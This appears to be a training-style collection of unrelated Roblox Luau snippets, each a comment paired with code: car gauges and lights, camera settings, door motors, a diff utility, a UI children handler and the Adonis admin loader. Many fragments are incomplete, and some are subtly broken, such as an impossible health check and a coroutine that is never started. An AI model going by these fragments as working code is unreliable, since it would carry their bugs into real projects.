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--Rescripted by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
ClientControl.OnClientInvoke = (function(Mode, Value)
if Mode == "PlaySound" and Value then
Value:Play()
end
end)
function InvokeServer(Mode, Value, arg)
pcall(function()
ServerControl:InvokeServer(Mode, Value, arg)
end)
end
function Equipped(Mouse)
local Character = Tool.Parent
local Player = Players:GetPlayerFromCharacter(Character)
local Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == Humanoid.Health - 100 then
return
end
Mouse.Button1Down:connect(function()
InvokeServer("Click", true, Mouse.Hit.p)
end)
end
local function Unequipped()
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[[**
<description>
Takes a function to be called whenever the cached result updates.
</description>
<parameter name = "callback">
The function to call.
</parameter>
**--]] |
function DataStore:OnUpdate(callback)
table.insert(self.callbacks, callback)
end
|
----- Class ----- |
local Spring = JamCore.GetClass("Spring")
|
-- ROBLOX deviation: omitted, no ordered tables in lua |
function compareObjects(a, b, options: DiffOptions?)
local difference
local hasThrown = false
local ok, _ = pcall(function()
local formatOptions = getFormatOptions(FORMAT_OPTIONS, options)
difference = getObjectsDifference(a, b, formatOptions, options)
-- local aCompare = prettyFormat(a, FORMAT_OPTIONS_0)
-- local bCompare = prettyFormat(b, FORMAT_OPTIONS_0)
-- if aCompare == bCompare then
-- difference = noDiffMessage
-- else
-- local aDisplay = prettyFormat(a, FORMAT_OPTIONS)
-- local bDisplay = prettyFormat(b, FORMAT_OPTIONS)
-- difference = diffLinesUnified2(
-- string.split(aDisplay, '\n'),
-- string.split(bDisplay, '\n'),
-- string.split(aCompare, '\n'),
-- string.split(bCompare, '\n'),
-- options
-- )
-- end
end)
if not ok then
hasThrown = true
end
local noDiffMessage = getCommonMessage(NO_DIFF_MESSAGE, options)
-- If the comparison yields no results, compare again but this time
-- without calling `toJSON`. It's also possible that toJSON might throw.
if difference == nil or difference == noDiffMessage then
local formatOptions = getFormatOptions(FALLBACK_FORMAT_OPTIONS, options)
difference = getObjectsDifference(a, b, formatOptions, options)
-- local aCompare = prettyFormat(a, FALLBACK_FORMAT_OPTIONS_0)
-- local bCompare = prettyFormat(b, FALLBACK_FORMAT_OPTIONS_0)
-- if aCompare == bCompare then
-- difference = noDiffMessage
-- else
-- local aDisplay = prettyFormat(a, FALLBACK_FORMAT_OPTIONS)
-- local bDisplay = prettyFormat(b, FALLBACK_FORMAT_OPTIONS)
-- difference = diffLinesUnified2(
-- string.split(aDisplay, '\n'),
-- string.split(bDisplay, '\n'),
-- string.split(aCompare, '\n'),
-- string.split(bCompare, '\n'),
-- options
-- )
-- end
if difference ~= noDiffMessage and not hasThrown then
difference = getCommonMessage(SIMILAR_MESSAGE, options) .. "\n\n" .. difference
end
end
return difference
end
function getFormatOptions(formatOptions: PrettyFormatOptions, options: DiffOptions?): PrettyFormatOptions
local compareKeys = normalizeDiffOptions(options).compareKeys
return Object.assign({}, formatOptions, { compareKeys = compareKeys })
end
function getObjectsDifference(
a: Record<string, any>,
b: Record<string, any>,
formatOptions: PrettyFormatOptions,
options: DiffOptions?
): string
local formatOptionsZeroIndent = Object.assign({}, formatOptions, { indent = 0 })
local aCompare = prettyFormat(a, formatOptionsZeroIndent)
local bCompare = prettyFormat(b, formatOptionsZeroIndent)
if aCompare == bCompare then
return getCommonMessage(NO_DIFF_MESSAGE, options)
else
local aDisplay = prettyFormat(a, formatOptions)
local bDisplay = prettyFormat(b, formatOptions)
return diffLinesUnified2(
String.split(aDisplay, "\n"),
String.split(bDisplay, "\n"),
String.split(aCompare, "\n"),
String.split(bCompare, "\n"),
options
)
end
end
return {
diffLinesRaw = diffLinesRaw,
diffLinesUnified = diffLinesUnified,
diffLinesUnified2 = diffLinesUnified2,
diffStringsRaw = diffStringsRaw,
diffStringsUnified = diffStringsUnified,
DIFF_DELETE = DIFF_DELETE,
DIFF_EQUAL = DIFF_EQUAL,
DIFF_INSERT = DIFF_INSERT,
Diff = Diff,
diff = diff,
}
|
--[[
local scheduler = TaskScheduler:CreateScheduler(targetedMinimumFPS)
scheduler:QueueTask(function)
scheduler:Pause()
scheduler:Resume()
scheduler:Destroy()
--]] |
local TaskScheduler = {}
local lastIteration
local frameUpdateTable = {}
local runService = game:GetService("RunService")
|
--[=[
Attaches a `done` handler to this Promise that discards the resolved value and returns the given value from it.
```lua
promise:doneReturn("some", "values")
```
This is sugar for
```lua
promise:done(function()
return "some", "values"
end)
```
@param ... any -- Values to return from the function
@return Promise
]=] |
function Promise.prototype:doneReturn(...)
local length, values = pack(...)
return self:_finally(debug.traceback(nil, 2), function()
return unpack(values, 1, length)
end, true)
end
|
--[[Vehicle Weight]]
--Determine Current Mass |
local mass=0
function getMass(p)
for i,v in pairs(p:GetChildren())do
if v:IsA("BasePart") then
mass=mass+v:GetMass()
end
getMass(v)
end
end
getMass(bike)
|
-- Experimental flag: name children based on the key used in the [Children] table |
local EXPERIMENTAL_AUTO_NAMING = false
local Children = {}
Children.type = "SpecialKey"
Children.kind = "Children"
Children.stage = "descendants"
function Children:apply(propValue: any, applyTo: Instance, cleanupTasks)
local newParented: Set<Instance> = {}
local oldParented: Set<Instance> = {}
-- save disconnection functions for state object observers
local newDisconnects = {}
local oldDisconnects = {}
local updateQueued = false
local queueUpdate: () -> ()
-- Rescans this key's value to find new instances to parent and state objects
-- to observe for changes; then unparents instances no longer found and
-- disconnects observers for state objects no longer present.
local function updateChildren()
if not updateQueued then
return -- this update may have been canceled by destruction, etc.
end
updateQueued = false
oldParented, newParented = newParented, oldParented
oldDisconnects, newDisconnects = newDisconnects, oldDisconnects
table.clear(newParented)
table.clear(newDisconnects)
local function processChild(child: any, autoName: string?)
local kind = ObjectUtility.xtypeof(child)
if kind == "Instance" then
-- case 1; single instance
newParented[child] = true
if oldParented[child] == nil then
-- wasn't previously present
-- TODO: check for ancestry conflicts here
child.Parent = applyTo
else
-- previously here; we want to reuse, so remove from old
-- set so we don't encounter it during unparenting
oldParented[child] = nil
end
if EXPERIMENTAL_AUTO_NAMING and autoName ~= nil then
child.Name = autoName
end
elseif kind == "State" then
-- case 2; state object
local value = child:get(false)
-- allow nil to represent the absence of a child
if value ~= nil then
processChild(value, autoName)
end
local disconnect = oldDisconnects[child]
if disconnect == nil then
-- wasn't previously present
disconnect = Observer(child):onChange(queueUpdate)
else
-- previously here; we want to reuse, so remove from old
-- set so we don't encounter it during unparenting
oldDisconnects[child] = nil
end
newDisconnects[child] = disconnect
elseif kind == "table" then
-- case 3; table of objects
for key, subChild in child do
local keyType = typeof(key)
local subAutoName: string? = nil
if keyType == "string" then
subAutoName = key
elseif keyType == "number" and autoName ~= nil then
subAutoName = autoName .. "_" .. key
end
processChild(subChild, subAutoName)
end
else
warn("unrecognisedChildType", kind)
end
end
if propValue ~= nil then
-- `propValue` is set to nil on cleanup, so we don't process children
-- in that case
processChild(propValue)
end
-- unparent any children that are no longer present
for oldInstance in oldParented do
oldInstance.Parent = nil
end
-- disconnect observers which weren't reused
for oldState, disconnect in oldDisconnects do
disconnect()
end
end
queueUpdate = function()
if not updateQueued then
updateQueued = true
task.defer(updateChildren)
end
end
table.insert(cleanupTasks, function()
propValue = nil
updateQueued = true
updateChildren()
end)
-- perform initial child parenting
updateQueued = true
updateChildren()
end
return Children
|
--Put Brakes,Headlight,Highlight,Left,Reverse,and Right into Body.
--Put this script into Plugins
-- Duplicate your lights, make it neon and put it inside G1 of the corrisponding model.
-- What it does is it enables a light inside the parts named Light and makes the part's transparency 0.
-- When its off, it disables the Light and sets the transparency to 1 |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local body = car.Body
local event=car.SmeersLightsHandler
local dtapdleft=false
local uis=game:GetService("UserInputService")
uis.InputBegan:connect(function(input, gp)
if not gp then
if input.KeyCode==Enum.KeyCode.Z or input.KeyCode==Enum.KeyCode.DPadLeft then
event:FireServer({["ToggleLeftBlink"]=true})
elseif input.KeyCode==Enum.KeyCode.C or input.KeyCode==Enum.KeyCode.DPadRight then
event:FireServer({["ToggleRightBlink"]=true})
elseif input.KeyCode==Enum.KeyCode.V then
event:FireServer({["ToggleStandlicht"]=true})
elseif input.KeyCode==Enum.KeyCode.X then
event:FireServer({["ToggleHazards"]=true})
end
end
end)
local Time, Activate, Blink, End = .2, 40, .1, 3
local CurrTime = 0 -- don't change this
car.DriveSeat.Changed:Connect(function(Change)
if Change == "Throttle" then
if car.DriveSeat.Throttle == -1 then
event:FireServer({["EnableBrakes"]=true})
if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) >= Activate then
repeat if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) >= Activate then
if car.DriveSeat.Throttle == -1 then
CurrTime = CurrTime + .05
else
CurrTime = 0
break
end
else
CurrTime = 0
break
end
wait(.05)
until CurrTime >= Time
if CurrTime >= Time then
CurrTime = 0
if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) >= Activate then
repeat
if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) >= Activate or car.DriveSeat.Throttle == -1 then
event:FireServer({["EnableBrakes"]=true})
wait(Blink)
event:FireServer({["DisableBrakes"]=true})
wait(Blink)
end
until math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) <= End or car.DriveSeat.Throttle ~= -1
if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) <= End then
event:FireServer({["ToggleHazards"]=true})
event:FireServer({["EnableBrakes"]=true})
end
end
else
CurrTime = 0
end
end
else
event:FireServer({["DisableBrakes"]=true})
end
end
end)
script.Parent.Values.Gear.Changed:connect(function()
if script.Parent.Values.Gear.Value == -1 then
event:FireServer({["ReverseOn"]=true})
elseif script.Parent.Values.Gear.Value ~= -1 then
event:FireServer({["ReverseOff"]=true})
end
end)
|
--{{TWEEN VALUES}} : EASING STYLES. |
Settings.FadeOutInfo = {EasingStyle = Enum.EasingStyle.Quint, EasingDirection = Enum.EasingDirection.Out}
Settings.FadeInInfo = {EasingStyle = Enum.EasingStyle.Quad, EasingDirection = Enum.EasingDirection.In}
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local revEnd = math.ceil(_lRPM/1000)
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
local maxSpeed = math.ceil(wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
local spInc = math.max(math.ceil(maxSpeed/200)*20,20)
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Speedo
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i=0,maxSpeed,spInc do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Speedo
ln.Rotation = 45 + 225*(i/maxSpeed)
ln.Num.Text = i
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,script.Parent.Parent.Values.Velocity.Value.Magnitude/maxSpeed)
script.Parent.Speed.Text = math.floor(script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " SPS"
end)
|
-- Right Legs |
character.Constraint.ConstraintRightUpperLeg.Attachment0 = RUL
character.Constraint.ConstraintRightUpperLeg.Attachment1 = RULRig
character.Constraint.ConstraintRightLowerLeg.Attachment0 = RLL
character.Constraint.ConstraintRightLowerLeg.Attachment1 = RLLRig
character.Constraint.ConstraintRightFoot.Attachment0 = RF
character.Constraint.ConstraintRightFoot.Attachment1 = RFRig |
------------------------------------------------------------------------------------------------------------------------------------------------ |
if script.Parent:FindFirstChild("Leg1") then
local g = script.Parent.Leg1:Clone()
g.Parent = File
for _,i in pairs(g:GetChildren()) do
if i:IsA("Part") or i:IsA("UnionOperation") or i:IsA("MeshPart") then
i.CanCollide = false
i.Anchored = false
local Y = Instance.new("Weld")
Y.Part0 = Player.Character["Left Leg"]
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Player.Character["Left Leg"]
end
end
end |
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Disco ball" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--FakeHumanoidRootPart.Massless = true |
FakeHumanoidRootPart.Transparency = 1
FakeHumanoidRootPart.Parent = Viewmodel
local FakeTorso = Instance.new("Part")
FakeTorso.Name = "Torso"
FakeTorso.CanCollide = false
FakeTorso.CanTouch = false
FakeTorso.Transparency = 1 |
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about
-- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees |
local MIN_Y = math.rad(-80)
local MAX_Y = math.rad(80)
local TOUCH_ADJUST_AREA_UP = math.rad(30)
local TOUCH_ADJUST_AREA_DOWN = math.rad(-15)
local TOUCH_SENSITIVTY_ADJUST_MAX_Y = 2.1
local TOUCH_SENSITIVTY_ADJUST_MIN_Y = 0.5
local VR_ANGLE = math.rad(15)
local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0)
local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0)
local VR_LOW_INTENSITY_REPEAT = 0.1
local VR_HIGH_INTENSITY_REPEAT = 0.4
local ZERO_VECTOR2 = Vector2.new(0,0)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local TOUCH_SENSITIVTY = Vector2.new(0.00945 * math.pi, 0.003375 * math.pi)
local MOUSE_SENSITIVITY = Vector2.new( 0.002 * math.pi, 0.0015 * math.pi )
local SEAT_OFFSET = Vector3.new(0,5,0)
local VR_SEAT_OFFSET = Vector3.new(0,4,0)
local HEAD_OFFSET = Vector3.new(0,1.5,0)
local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0)
local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0)
local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1)
local GAMEPAD_ZOOM_STEP_1 = 0
local GAMEPAD_ZOOM_STEP_2 = 10
local GAMEPAD_ZOOM_STEP_3 = 20
local PAN_SENSITIVITY = 20
local ZOOM_SENSITIVITY_CURVATURE = 0.5
local abs = math.abs
local sign = math.sign
local FFlagUserCameraToggle do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserCameraToggle")
end)
FFlagUserCameraToggle = success and result
end
local FFlagUserDontAdjustSensitvityForPortrait do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserDontAdjustSensitvityForPortrait")
end)
FFlagUserDontAdjustSensitvityForPortrait = success and result
end
local Util = require(script.Parent:WaitForChild("CameraUtils"))
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController"))
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
|
--don't touch below, very delicate |
car = script.Parent.Parent
Base = car:FindFirstChild("Base")
Left = car:FindFirstChild("Left")
Right = car:FindFirstChild("Right")
function MakeDoor(hinge,door,hingeOffset,doorOffset)
local doorMotor = Instance.new("Motor",car)
doorMotor.Name = hinge.Name.."Motor"
doorMotor.Part0 = door
doorMotor.Part1 = hinge
doorMotor.C0 = doorOffset
doorMotor.C1 = hingeOffset
doorMotor.MaxVelocity = 0.05
door.CanCollide = true
local doorDebounce = false
door.Touched:connect(function(it)
if not doorDebounce and it.Parent and it.Name == "HumanoidRootPart" and game:GetService("Players"):GetPlayerFromCharacter(it.Parent) then
doorDebounce = true
door.CanCollide = false
doorMotor.DesiredAngle = math.pi/3
wait(1.5)
doorMotor.DesiredAngle = 0
wait(0.5)
door.CanCollide = true
doorDebounce = false
end
end)
end
function MakeWeldDoor(hinge,door)
local doorMotor = Instance.new("Motor6D",car)
doorMotor.Name = hinge.Name.."Motor"
doorMotor.Part0 = door
doorMotor.Part1 = hinge
doorMotor.C1 = hinge.CFrame:inverse()*door.CFrame
door.CanCollide = false
end
function GetCFrame(object)--we'll get a CFrame value out of a CFrameValue or a StringValue formatted like a CFrame
if object:IsA("CFrameValue") then--if someone is using a CFrame value then we'll just pull the value directly
return object.Value
elseif object:IsA("StringValue") then--added functionality for this because I dislike interfacing with CFrame values
local cframe = nil
pcall(function()--using pcall because i'm lazy
cframe = CFrame.new(object.Value:match("(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+)"))
--if you print your CFrame and paste it into the string value, this will find that out and use it properly
end)
return cframe
end
end
for _,h in pairs (car:GetChildren()) do
if h:IsA("Motor6D") then--make sure we start with a blank slate
h:Destroy()
end
end
for _,i in pairs (car:GetChildren()) do
if i:IsA("BasePart") and i.Name:find("DoorHinge") then-- found a door with regex!
local DoorID = i.Name:match("DoorHinge(.*)")--haha regex is fun
local MatchingDoor = car:FindFirstChild("Door"..DoorID)--can we use our regex powers to find a matching door?
if MatchingDoor then-- yay we found one!
local DoorCFrameValue = MatchingDoor:FindFirstChild("DoorCFrame")
local HingeCFrameValue = MatchingDoor:FindFirstChild("HingeCFrame")
if DoorCFrameValue and HingeCFrameValue then
local doorCFrame = GetCFrame(DoorCFrameValue)
local hingeCFrame = GetCFrame(HingeCFrameValue)
if doorCFrame and hingeCFrame then
MakeDoor(i,MatchingDoor,hingeCFrame,doorCFrame)
else
MakeWeldDoor(i,MatchingDoor)
end
else
MakeWeldDoor(i,MatchingDoor)
end
end
end
end
if Base then
if Left then
leftMotor = Instance.new("Motor6D", car)
leftMotor.Name = "LeftMotor"
leftMotor.Part0 = Left
leftMotor.Part1 = Base
leftMotor.C0 = CFrame.new(-WheelSize/2-Left.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,-math.pi/2)
leftMotor.C1 = CFrame.new(Base.Size.x/2+Left.Size.x+WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2)
leftMotor.MaxVelocity = motorSpeed
end
if Right then
rightMotor = Instance.new("Motor6D", car)
rightMotor.Name = "RightMotor"
rightMotor.Part0 = Right
rightMotor.Part1 = Base
rightMotor.C0 = CFrame.new(-WheelSize/2-Right.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2)
rightMotor.C1 = CFrame.new(-Base.Size.x/2-Right.Size.x-WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2)
rightMotor.MaxVelocity = motorSpeed
end
end
|
--Fully made by
--animations are made with :lerp()
--you can convert the model to use it in script builder |
local npc = script.Parent
local torso = npc.Torso
local head = npc.Head
local leftarm = npc["Left Arm"]
local rightarm = npc["Right Arm"]
local leftleg = npc["Left Leg"]
local rightleg = npc["Right Leg"]
local npchumanoid = npc.Humanoid
local aksound = npc["AK-47"].shoot |
----------------------------------------------------------------------------------------
-- Adonis Loader --
----------------------------------------------------------------------------------------
-- Epix Incorporated. Not Everything is so Black and White. --
----------------------------------------------------------------------------------------
-- Edit settings in-game or using the settings module in the Config folder --
----------------------------------------------------------------------------------------
-- This is not designed to work in solo mode --
---------------------------------------------------------------------------------------- |
local warn = function(...)
warn(":: Adonis ::", ...)
end
warn("Loading...")
local ServerScriptService = game:GetService("ServerScriptService")
local RunService = game:GetService("RunService")
local mutex = RunService:FindFirstChild("__Adonis_MUTEX")
if mutex then
if mutex:IsA("StringValue") then
warn("Adonis is already running! Aborting...; Running Location:", mutex.Value, "This Location:", script:GetFullName())
else
warn("Adonis mutex detected but is not a StringValue! Aborting anyway...; This Location:", script:GetFullName())
end
else
mutex = Instance.new("StringValue")
mutex.Name = "__Adonis_MUTEX"
mutex.Value = script:GetFullName()
mutex.Parent = RunService
local model = script.Parent.Parent
local config = model.Config
local core = model.Loader
local dropper = core.Dropper
local loader = core.Loader
local runner = script
local settings = config.Settings
local plugins = config.Plugins
local themes = config.Themes
local backup = model:Clone()
local data = {
Settings = {};
Descriptions = {};
Messages = {};
ServerPlugins = {};
ClientPlugins = {};
Packages = {};
Themes = {};
ModelParent = model.Parent;
Model = model;
Config = config;
Core = core;
Loader = loader;
Dopper = dropper;
Runner = runner;
ModuleID = 7510592873; --// https://www.roblox.com/library/7510592873/Adonis-MainModule
LoaderID = 7510622625; --// https://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix
DebugMode = false;
}
--// Init
-- selene: allow(incorrect_standard_library_use)
script.Parent = nil --script:Destroy()
model.Name = math.random()
local moduleId = data.ModuleID
if data.DebugMode then
moduleId = model.Parent.MainModule
end
local success, setTab = pcall(require, settings)
if success then
data.Messages = setTab.Settings.Messages
else
warn("Settings module errored while loading; Using defaults; Error Message: ", setTab)
table.insert(data.Messages, {
Title = "Warning!";
Message = "Settings module error detected. Using default settings.";
Time = 15;
})
setTab = {}
end
data.Settings = setTab.Settings
data.Descriptions = setTab.Description
data.Order = setTab.Order
for _, Plugin in ipairs(plugins:GetChildren()) do
if Plugin:IsA("Folder") then
table.insert(data.Packages, Plugin)
elseif string.sub(string.lower(Plugin.Name), 1, 7) == "client:" or string.sub(string.lower(Plugin.Name), 1, 7) == "client-" then
table.insert(data.ClientPlugins, Plugin)
elseif string.sub(string.lower(Plugin.Name), 1, 7) == "server:" or string.sub(string.lower(Plugin.Name), 1, 7) == "server-" then
table.insert(data.ServerPlugins, Plugin)
else
warn("Unknown Plugin Type for "..tostring(Plugin).."; Plugin name should either start with server:, server-, client:, or client-")
end
end
for _, Theme in ipairs(themes:GetChildren()) do
table.insert(data.Themes, Theme)
end
if tonumber(moduleId) then
warn("Requiring Adonis MainModule. Model URL: https://www.roblox.com/library/".. moduleId)
end
local module = require(moduleId)
local response = module(data)
if response == "SUCCESS" then
if (data.Settings and data.Settings.HideScript) and not data.DebugMode and not RunService:IsStudio() then
model.Parent = nil
game:BindToClose(function()
model.Parent = ServerScriptService
model.Name = "Adonis_Loader"
end)
end
model.Name = "Adonis_Loader"
else
error(" !! MainModule failed to load !! ")
end
end
--[[
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
___________ .__ .___
\_ _____/_____ |__|__ ___ | | ____ ____
| __)_\____ \| \ \/ / | |/ \_/ ___\
| \ |_> > |> < | | | \ \___
/_______ / __/|__/__/\_ \ |___|___| /\___ > /\
\/|__| \/ \/ \/ \/
--------------------------------------------------------
Epix Incorporated. Not Everything is so Black and White.
--------------------------------------------------------
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--___________________________________________________________________________________________--
--]]
|
------------------------------------------------------------------------
--
-- * used in luaK:need_value(), luaK:removevalues(), luaK:patchlistaux(),
-- luaK:concat()
------------------------------------------------------------------------ |
function luaK:getjump(fs, pc)
local offset = luaP:GETARG_sBx(fs.f.code[pc])
if offset == self.NO_JUMP then -- point to itself represents end of list
return self.NO_JUMP -- end of list
else
return (pc + 1) + offset -- turn offset into absolute position
end
end
|
----------- |
function module:GetPlayerData(plr)
if not plr then plr = game:GetService("Players").LocalPlayer end
if plr:FindFirstChild("data") then
return HS:JSONDecode(plr.data.Value)
else
return nil
end
end
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Dream bow" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--CHANGE THIS LINE-- (Main)(Opposite direction of turn value) |
Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal1 -- Change last word |
--- Routinely check player cache for garbage |
coroutine.wrap(function()
while wait(180) do
ClearGarbage()
end
end)
|
-- Get the HumanoidRootPart and wait for the server audio |
local root = character.HumanoidRootPart
local serverSound = root:WaitForChild("CurrentSound")
|
-- Player Stats |
local stats = player:WaitForChild("stats")
local points = stats:WaitForChild(GameSettings.pointsName)
local totalPoints = stats:WaitForChild("Total" .. GameSettings.pointsName)
local upgrades = stats:WaitForChild(GameSettings.upgradeName)
|
--Left lean |
R6LeftLegLeftLean = .55
R6RightLegLeftLean = .3
R6LeftArmLeftLean = .3
R6RightArmLeftLean = .7
R6TorsoLeftLean = .3 |
-------------------------------------------------- |
script.Parent.Values.RPM.Changed:connect(function()
intach.Rotation = -50 + script.Parent.Values.RPM.Value * 246 / 7500
end)
script.Parent.Values.Velocity.Changed:connect(function(property)
inspd.Rotation = -18 + (440 / 154) * (math.abs(script.Parent.Values.Velocity.Value.Magnitude*((6/12) * (50/88))))
end)
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" then
